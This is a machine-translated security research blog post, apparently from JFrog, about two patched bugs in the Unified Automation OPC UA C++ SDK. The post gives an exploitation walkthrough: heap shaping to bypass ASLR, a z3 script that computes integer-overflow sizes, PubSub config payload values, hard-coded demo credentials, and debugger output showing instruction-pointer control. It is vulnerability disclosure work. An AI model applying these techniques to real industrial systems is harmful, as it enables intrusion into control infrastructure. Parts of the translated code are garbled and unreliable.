满足我们在OPC UA工业栈中的远程代码执行方式

JFrog安全团队最近参加了2022年迈阿密奥运会以工业控制系统(ICS)安全为重点的黑客竞赛。我们竞赛的研究对象之一是基于c++的统一自动化OPC UA服务器SDK.
除了我们在pwn2own竞赛中披露的漏洞,我们设法发现并向供应商披露了八个额外的漏洞。这些漏洞在1.7.7版本的SDK中得到修复。
由于pwn2own的时间和稳定性限制,我们当时无法使用我们公开的漏洞提供远程代码执行漏洞利用链。然而,在这篇博客中,我们将展示通过利用两个公开的漏洞,信息泄漏和堆溢出,攻击者可以在UA的c++ OPC演示服务器上实现远程代码执行,这是一个OPC UA服务器,旨在展示OPC UA的功能。
值得注意的是,虽然这两个漏洞都会影响UA的OPC UA堆栈,但为了利用它们,用户必须具有高权限进行身份验证。
在演示服务器中,普通用户和管理员用户的用户名和密码都被硬编码到二进制文件中,我们在利用漏洞时利用了这一点。
什么是OPC UA?
我们之前已经详细介绍了OPC UA及其用途,所以请查看我们与pwn2own相关的博客文章,了解有关实际协议的更多信息。
的漏洞
漏洞#1 - UaUniString越界读取错误
OPC UA协议允许对“节点”进行读写。节点是OPC UA协议中的基本数据容器类型。每个节点都有一个与之相关的类型,如字符串、整数、双精度、联合等。
例如,UA c++演示服务器允许我们读取和写入字符串和字符串数组。
的UaUniString: UaUniString是一个构造函数,用于转换驻留在的UTF-8字符串其他参数转换为UTF-16字符串,该字符串将保存在UaUniString对象中
的UaUniString: UaUniString函数容易受到越界读取漏洞的影响:
void __thiscall UaUniString::UaUniString(UaUniString *this, const char *other){…Thisa =这个;if (other){//计算字符串长度iWLen = 0;对于(I = 0;其他(我);++i) {c = other[i];如果(c > = 128) {((c & 0 xe0) = = \ xC0){+ +我;+ + iWLen;} else if ((c & 0xF0) == '\xE0') {i += 2;+ + iWLen; } else if ( (c & 0xF8) == '\xF0' ) { i += 3; ++iWLen; } ... } else { ++iWLen; } } iLen = i; pData = OpcUa_Memory_Alloc(2 * iWLen + 2); iLenUsed = 0; for ( ia = 0; ia <= iLen; ++ia ) { v5 = other[ia]; if ( v5 >= 0x80 ) { ... else if ( (v5 & 0xF8) == '\xF0' ) { pData[iLenUsed++] = '?'; ia += 3; } else if ( (v5 & 0xFC) == '\xF8' ) { pData[iLenUsed++] = '?'; ia += 4; } else if ( (v5 & 0xFE) == '\xFC' ) { pData[iLenUsed++] = '?'; ia += 5; } } else { pData[iLenUsed++] = other[ia]; } }
第一个为方法计算字符串的长度iWLen变量。当循环到达一个特殊字符(例如0 xe0),它增加用于索引的变量其他(I变量)的值大于1,而不检查该操作是否会跳过其他的NULL结束符,因此以iWLen大于原始字符串的长度。
长度计算完成后,该函数为转换后的字符串分配一个新的UTF-16数组iWLen.
后来,第二个为循环复制具有之前计算长度的字符串,这将复制0x80以下的任何字符到新的缓冲区中,除了一些特殊字符将返回为?.
因为新的字符串缓冲区将被写入iLen这可能是越界的,新的字符串将包含“泄露”的数据。具体地说——接替原始字符串的堆内存.
通过使用index_range参数,服务器调用该函数并将数据返回给客户端。
由于可以在演示服务器(OPC UA服务器开发的统一自动化的参考示例)中写入任意节点,因此我们可以触发漏洞并将超出界限的内存返回给我们。
为了在演示服务器之外利用这个漏洞,只要服务器导出一个我们可以读写的字符串,我们就可以利用这个漏洞
利用OOB-R来绕过ASLR
通过使用以下技术,我们能够绕过ASLR:
- 查找具有虚函数表的两个低字节小于0x80的对象
- 编写一个长度为50的字符串数组,每个字符串的大小都与我们期望的对象相同(这样堆分配器就会将它们分配到同一个bucket中)
- 理想的对象是我们想要“泄漏”的对象,以便从对象数据中读取指针并破坏ASLR机制。确切的对象取决于OPC UA堆栈的版本-稍后会详细介绍…
- 编写一个长度为1的字符串数组,其中一个字符串的大小与我们期望的对象相同,这将导致服务器释放之前的50个字符串并分配新的字符串。
- 写一个以0xE0作为最后一个字符的字符串
- 发送一个创建所需对象的请求
- 读取字符串以从内存中获取数据
- 如果在数据中找到所需的模式,则结束循环并为c++ dermo服务器二进制计算映像基数,否则重复
- 一旦我们有了映像库,我们就可以使用c++演示服务器中的ROP小工具来利用本博客中描述的其他漏洞
我们使用步骤2和步骤3作为堆塑形原语,以便在泄漏的字符串之后生成我们想要的对象。
由于ZDI希望使环境尽可能接近现实,目标在最新的Windows 10 64位上运行,并启用了每种缓解技术(ASLR, NX等)。
Windows 10中的用户空间前端堆分配器称为段堆,对于我们的分配大小,它使用一个称为LFH(低碎片堆)的堆分配器。萨尔·阿玛有一个很棒的讲座主题.
我们正在分配相同大小的理想对象,因为LFH实现将在相同的内存块中分配相似大小的对象。
如前所述,我们开始利用UA c++演示服务器。因为它是32位二进制,所以ASLR只随机化第二个字节,所以给定地址0xAABBCCDD只有“0x”BB字节将被随机化。因此,我们需要找到一个具有虚函数表的对象,其中它的最低两个字节(0xCC和0 xDD在我们的示例中)遵守泄漏的限制(字节值低于0x80),因此我们将泄漏它在堆上的vptr,我们发现了满足此要求的多个对象,具体取决于演示服务器的版本。
例如,当泄漏对象uassubscribe的虚函数表时,泄漏的数据看起来像-
42424242 - 2 d21723f24220501c28003
我们寻找0x的模式2224由于这些是uassubscribe表的较低字节,因此虚参表地址为0x01052224虚值表与映像基的偏移量为0x752224,因此映像基为0x00900000。
由于0x80的限制,对于特定对象,我们的ASLR旁路似乎只有50%的时间有效。这可以通过寻找更多适合我们的限制的物体来改进,这些物体尽可能远离彼此。我们对这种方法进行了实验,成功地将泄漏成功率提高到62%。
值得一提的是,Windows 10中模块的ASLR偏移量在每次启动时只随机化一次(而不是每次进程重新启动时),这在我们的情况下使事情变得有点困难,因为如果所需的虚表和随机映像基具有非法字符(0x80或更高),我们的泄漏将失败,直到下一次启动。幸运的是,在这种情况下,我们可以尝试泄漏另一个对象,直到成功为止。
Vuln #2 - replaceArgEscapes()堆溢出
这个函数UaString: arg ()接受一个格式字符串作为输入,并返回一个新字符串,其中every% 1字符串中的序列被替换为所提供的参数。
这个函数的一个示例用法-“% 1.% 2”.arg (s1) .arg (s2)
如果s1和s2是常规字符串,例如s1 = " AAAA "和s2 = " BBBB ",那么结果字符串将是" AAAA "。BBBB”。但是,如果s1 = " %1 "且s2 = " BBBB ",则中间字符串将是" %1.%2 " .arg(s2),结果字符串将是" BBBB "。%2 ",将" BBBB "放在结果字符串的开头而不是点后面。
UaString: arg ()调用findArgEscapes(ArgEscapeData *d, const UaString *s)这集d - >出现到格式字符串中最低参数id的编号(即for% 1% - 1% 2该函数将只计算“% 1的事件,因此设置d - >出现到2).功能也设置d - > escape_len到字符串中所有参数的累计长度(在前面的示例中,它将是4,因为术语“%1%1”的长度为4)。
之后,UaString: arg ()将调用replaceArgEscapes ()将最低的参数id替换为给定的参数字符串。replaceArgEscapes ()将分配一个缓冲区,该缓冲区应该足够大以包含替换后的字符串:
UaString *replaceArgEscapes(UaString *result, const UaString *fmt_string, const ArgEscapeData *d, int field_width, const UaString *arg, const UaChar *fillChar){…v__field_width_abs = uaAbs(&field_width);v__fmt_string_size = UaString::size((UaString *)fmt_string);v__arg_size = UaString::size((UaString *)arg);V__size_without_escape_len = v__fmt_string_size - d->escape_len;len = *uaMax(&v__field_width_abs, &v__arg_size) * d->occurrences + v__size_without_escape_len;buf = (char *)OpcUa_Memory_Alloc(len + 1);…}
不幸的是,这段代码中有一个整数溢出。代码计算所需的分配大小如下-Max (abs(field_width), arg_size) * d->出现次数+ (fmt_string_size - d->escape_len)
结果赋值给无符号整数。
当参数太大时,这种计算可能导致整数溢出,例如,如果格式字符串包含0x10000个重复% 1,arg_size(替换数据的大小)长度为0x10001字节,并且field_width那么是1d - >出现将是0x10000,fmt_string_size将是0x20000和d - > escape_len也将是0x20000。这些数字产生的结果是0x10001*0x10000 + 0 = 0x10000。这将导致分配的缓冲区的大小小于预期。
之后,replaceArgEscapes ()将格式字符串复制到分配的缓冲区,其中对于每个参数槽("% 1"),它将写出参数字符串:
While (fmt_ptr != fmt_end_ptr) {v__fmt_before_arg_id = fmt_ptr;//查找下一个参数id while (*fmt_ptr != '%') fmt_ptr = fmt_ptr + 1;…如果(v__arg_id == d->min_escape){//它是最小的参数id -我们应该替换参数…//复制参数id之前的所有内容到buf memcpy(v__buf_ptr, v__fmt_before_arg_id, v__fmt_arg_id_ptr - v__fmt_before_arg_id);…//复制参数而不是参数id到buf arg_data = UaString::toUtf8((UaString *)arg);内存(v__buf_ptr, arg_data, arg_size);…//如果它是参数id的最后一次出现if (++v__counter == d->occurrences){//复制格式字符串的其余部分memcpy(v__buf_ptr, fmt_ptr, fmt_end_ptr - (_BYTE *)fmt_ptr); v__buf_ptr = (char *)v__buf_ptr + fmt_end_ptr - (_BYTE *)fmt_ptr; fmt_ptr = fmt_end_ptr; } } else { // we should not replace this argument id - copy both the string before the argument id and the argument id itself memcpy(v__buf_ptr, v__fmt_before_arg_id, (_BYTE *)fmt_ptr - (_BYTE *)v__fmt_before_arg_id); v__buf_ptr = (char *)v__buf_ptr + (_BYTE *)fmt_ptr - (_BYTE *)v__fmt_before_arg_id; } }
这将导致堆越界写入,并可能被用于远程代码执行。
UA的OPC服务器支持PubSub协议,该协议通过MQTT或UADP协议发布数据。在OPC服务器中具有管理员权限的用户可以将PubSub配置上传到服务器,以便定义将从中获取数据的数据集。身份验证方法的实现留给最终用户,因此任何身份验证方法都是可能的。在演示服务器中,验证方法是简单的明文比较:
UaStatus MyServerCallback::logonSessionUser(Session* pSession, UaUserIdentityToken* pUserIdentityToken, ServerConfig* pServerConfig){…else if (pUserIdentityToken-> gettokenttype () == OpcUa_UserTokenType_UserName){…if ((pUserPwToken->sUserName == "root" && pUserPwToken->sPassword == "secret") || (pUserPwToken->sUserName == "joe" && pUserPwToken->sPassword == "god") || (pUserPwToken->sUserName == "john" && pUserPwToken->sPassword == "master") || (pUserPwToken->sUserName == "sue" && pUserPwToken->sPassword == "curly") || (pUserPwToken- bberpwtoken ->sPassword == "serious"){…}}
这不是一种安全的身份验证方法,因为攻击者可以使用计时攻击.
作为PubSub配置解析的一部分,函数OpcUa:: DataSetReaderType:: setMirror ()如果定义了镜像读取器数据集(复制另一个读取器数据集的数据集),将调用。的setMirror ()函数将调用UaString: arg ()为了设置数据集新生成的字段的名称,需要进行多次操作:
UaString PubSub_name = UaString('PubSub.%1.%2.%3') .arg(PubSubConf->Connection->Name) .arg(PubSubConf->Connection->ReaderGroups[0]->Name) .arg(PubSubConf->Connection->ReaderGroups[0]->DataSetReaders[0]->Name);UaString tmp = UaString("%1.SubscribedDataSet").arg(PubSub_name);UaString subName = UaString("%1.%2") .arg(tmp) .arg(PubSubConf->Connection->ReaderGroups[0].DataSetReaders[0]->SubscribedDataSet->ParentNodeName);PubSubConf - >连接- > ReaderGroups[0]。DataSetReaders [0] - > getDataSetMetaData (PubSubConf - >连接- > ReaderGroups[0]。DataSetReaders [0], &dataSetMetaData);UaDataSetMetaDataType:: getFields (&dataSetMetaData、字段);For (int I = 0;i < uafieldmetadata::length(&fields) {UaString fieldName = UaString('%1.%2')。arg (subName、字段[我]- >名称);}
图1:OpcUa::DataSetReaderType::setMirror()中相关代码部分的简化
请注意,OpcUa:: DataSetReaderType:: setMirror ()在PubSub_name已经定义之后调用。
远程代码执行漏洞的条件
攻击者可以设置-
PubSubConf.Connection.Name = '%1' * conn_name_sz PubSubConf.Connection.ReaderGroups[0]。名字='%0' + '%1' * reader_name_sz PubSubConf.Connection.ReaderGroups[0].DataSetReaders[0].Name = 'A' * datasetReader_sz PubSubConf.Connection.ReaderGroups[0].DataSetReaders[0].SubscribedDataSet.ParentNodeName = '%1' * pMirror_sz fields[0].Name = 'B' * field_sz
其中变量conn_name_sz,reader_name_sz,datasetReader_sz,pMirror_sz和field_sz是我们可以控制的整型变量。
这将导致最后UaString: arg ()要使用以下格式字符串-
fmt_string = 'PubSub。' fmt_string += conn_name_sz * PubSubConf.Connection.ReaderGroups[0]. datasetreaders[0]。名字fmt_string += '%1' * conn_name_sz * reader_name_sz * pMirror_sz fmt_string += '.%2.%2.SubscribedDataSet.%2.%2'
确切的分配大小是-
consts_size = len("PubSub..%2.%2. subscribeddataset .%2.%2") allocated_sz = (conn_name_sz * reader_sz * pMirror_sz * field_sz + conn_name_sz * datasetReader_sz + consts_size + 1) & 0xFFFFFFFF
图2:运行图1中的代码后将分配的大小方程
为了利用这个漏洞,allocated_sz应该设置为小于总体写大小的数字。这将导致对敏感堆数据的越界写入(希望如此)。allocated_sz也必须在一个特定的范围内,这样LFH分配器将在与我们想要覆盖的对象相同的桶中分配缓冲区。像往常一样,这是一个带有函数指针的对象,我们将用指向ROP链的指针覆盖它。
注意,shellcode将在字段[0]。名字,这将是迭代编写,也在PubSubConf.Connection.ReaderGroups [0] .DataSetReaders [0] . name.
利用SAT求解器自动建立漏洞缓冲区
为了满足上述所有条件,我们使用z3是微软研究院开发的定理证明器。我们使用它是为了得到图2中方程的解,给定的值的可能范围allocated_sz.我们必须把上面的方程加上一些限制条件。首先,字符串不能超过1000个字符,因为在解析PubSub配置时,如果字符串字段大于g_appconfig.encoder.max_string_length(默认为1000)然后ua_decode_string ()失败。因为“% 1是两个字——然后conn_name_sz,reader_name_sz和pMirror_sz不能大于1000/2 = 500个字符。实际上,reader_name_sz不能大于499,因为有呼叫UaString: arg ()与datasetReader_name(PubSubConf.Connection.ReaderGroups [0] .DataSetReaders [0] . name)作为参数,所以如果我们只提供一个参数标识符("% 1”)reader_name(PubSubConf.Connection.ReaderGroups [0] . name) -它将用datasetReader_name替换该参数。所以将datasetReader_name设置为"% 1“不过,也一样,datasetReader_name不能被“% 1像其他变量一样,因为这将导致崩溃,因为在另一个UaString::arg()调用中失败的巨大分配导致NULL解引用。这就是为什么我们将reader_name设置为"% 0“+”% 1“*reader_name_sz和datasetReader_name到" A " *datasetReader_sz.
在z3中加入这些规则就像这样
import z3 # PubSubConf.Connection.Name conn_name = z3。BitVec('conn_name', 32) # PubSubConf.Connection.ReaderGroups[0]。名称reader_name = z3。BitVec('reader_name', 32) # PubSubConf.Connection.ReaderGroups[0]. datasetreaders [0].;名称datasetReader_name = z3。BitVec('datasetReader_name', 32) # PubSubConf.Connection.ReaderGroups[0]. datasetreaders [0]. subscribeddataset。ParentNodeName mirror = z3。BitVec('mirror', 32) # fields[0]。名称字段= z3。BitVec('field', 32) s = z3.Solver() s.add(0 <= conn_name) s.add(0 <= reader_name) s.add(0 <= datasetReader_name) s.add(0 <= mirror) s.add(conn_name <= 500) s.add(reader_name <= 500) s.add(datasetReader_name <= 1000) s.add(0 <= field) s.add(0 <= field) s.add(field <= 1000)
现在,我们要确保在计算中会有整数溢出allocated_sz.这可以通过添加以下约束来实现
consts_size = len("PubSub..%2.%2. subscribeddataset .%2.%2") v__len_before = conn_name*reader_name*mirror + conn_name*datasetReader_name v__len = conn_name*reader_name*mirror*field + conn_name*datasetReader_name + consts_size + 1 .add(v__len_before > v__len)
在哪里v__len_before格式字符串的大小是和v__len是已分配的大小。通过添加约束V__len_before > v__len我们正在确保这一点v__len_before会是一个很大的数字,也会有一个整数溢出计算时v__len.
最后,我们要确保分配的大小在bucket范围内,并且写操作将与bucket的缓冲区大小(包括缓冲区元数据大小)对齐。否则,迭代写入将被打乱,我们将用shellcode的后半部分覆盖目标对象。所以我们增加了更多的约束条件
v__before_datasetReader_sz = len('PubSub.') s.add((datasetReader_name + v__before_datasetReader_sz) % ALIGNMENT == 0) s.add(START_RANGE <= v__len) s.add(v__len <= END_RANGE)
在哪里对齐为LFH桶缓冲区的大小,包括元数据;START_RANGE和END_RANGE定义一个大小范围,这样在该范围内的任何大小都将被分配END_RANGE(对齐=END_RANGE+元数据的大小)。
用z3 -解
Result = s.check() print('检查结果:{}'.format(Result))如果Result == z3。sat: #得到一个逻辑模型,满足所有的约束模型= s.model() print('declarations:\n----') print(f " 'conn_name_sz = {model[conn_name]} reader_name_sz = {model[reader_name]} datasetReader_sz = {model[datasetReader_name]} pMirror_sz = {model[mirror]} field_sz = {model[field]} " ') print('----') print('分配大小= {}(len)'.format(model.eval(v__len)))
这些规则并不是对每一个值都适用对齐,START_RANGE和END_RANGE,但有足够的价值观和各自的解决方案,以满足我们的需求。
最终实现RCE
使用上面的脚本,我们有一个简单的方法在桶中创建堆溢出。现在,我们需要找到一个基于堆的对象来覆盖。我们在演示服务器二进制文件和uastack.dll中搜索合适的对象,并找到了OpcUa_EndpointContext对象。与往常一样,RCE中最容易利用的对象是具有直接函数指针的对象,或者具有虚函数表的对象。
由于我们的溢出最终会导致崩溃(因为我们在一个小得多的缓冲区上复制4GB的数据),我们的利用策略是启动溢出,希望覆盖所需的对象,并在第二个线程中尝试触发相关的函数指针(在第一个“复制”线程导致进程崩溃之前)。
在pwn2自己指定的目标(运行最新更新的Windows 10 64位)上运行完整的漏洞利用程序,我们设法控制了EIP!
下面是一个相关会话的WinDBG输出:
(120c.1170):访问违规-代码c0000005(第一次机会)##############第一次机会异常在任何异常处理之前报告。这种异常是可以预料和处理的。eax=01208224 ebx=043d7600 ecx=ffffffff edx=01208224 esi= 03b6adb00 edi=04d1bd00 eip=01208224 esp=0707f9c4 ebp=ffffffff eip=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b fs=0053 gs=002b efl=00010246 uaservercpp+0x878224: 01208224 1882200180c8 sbb byte ptr [edx- 377ffee0h],al ds:002b:c9a08344=?? ?
这个地址(0x1208218)实际上是数据节中指向数据节中另一个位置的指针
![]()
我们使用这个地址是为了让被覆盖的对象能够读或写这个地址,并且在我们控制EIP之前不会使演示服务器崩溃。
不幸的是,由于获得空闲块时LFH分配器的随机性,该漏洞的成功率在pwn2own竞争中不够高(只有3次利用尝试),因为我们只能溢出一次,如果我们失败了,我们会在没有第二次尝试的情况下崩溃进程。这是因为我们用来创建溢出的PubSub配置文件保存在磁盘上,因此在溢出失败后重新启动演示服务器将在尝试加载我们的恶意配置时导致立即崩溃。
我们相信,随着时间的推移,针对其他对象和/或针对其他操作系统,这组漏洞可以变成一个稳定的RCE漏洞。
确认
我们要感谢统一自动化公司及时、专业地处理了这个问题。我们也鼓励您关注JFrog安全研究团队的最新发现和技术更新安全研究博客文章在推特上@JFrogSecurity.